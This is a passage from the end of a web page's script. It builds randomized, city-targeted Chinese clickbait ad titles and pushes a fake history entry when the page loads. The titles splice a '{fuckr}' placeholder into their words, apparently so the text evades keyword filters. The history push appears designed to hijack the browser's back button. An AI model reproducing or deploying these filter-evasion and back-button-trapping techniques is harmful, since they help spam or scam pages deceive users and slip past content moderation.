                name = name + keyList[parseInt(Math.random() * keyList.length)];
            }
            return name;
        }
    }

    window.getAdTitle=function () {
        var keys = [
            ['{bq}{city}'],
            ['{fuckr}人', '居{fuckr}民', '市{fuckr}民', '朋友'],
            ['有{fuckr}福啦！', '享{fuckr}福咯！', '先享{fuckr}受了！'],
            ['你{fuckr}我', '我{fuckr}们', '大家', '人{fuckr}人', '所有{fuckr}人', '全{fuckr}体', '在座'],
            ['都{fuckr}有份，', '都享{fuckr}有，', '都{fuckr}能有，'],
            ['看{fuckr}过来', '速度{fuckr}看', '快{fuckr}来看'],
            ['~~', '->', '..']
        ];
        var name = '';
        for (var i = 0; i < keys.length; i++) {
            var keyList = keys[i];
            name = name + keyList[parseInt(Math.random() * keyList.length)];
        }
        return name;
    }



    function pushHistory() {
        const state = {
            title: "title",
            url: "#"
        };
       history.pushState(state, "title", "#"+Date.now()+'aacbd');
    }
    pushHistory();

</script>
</body>
</html>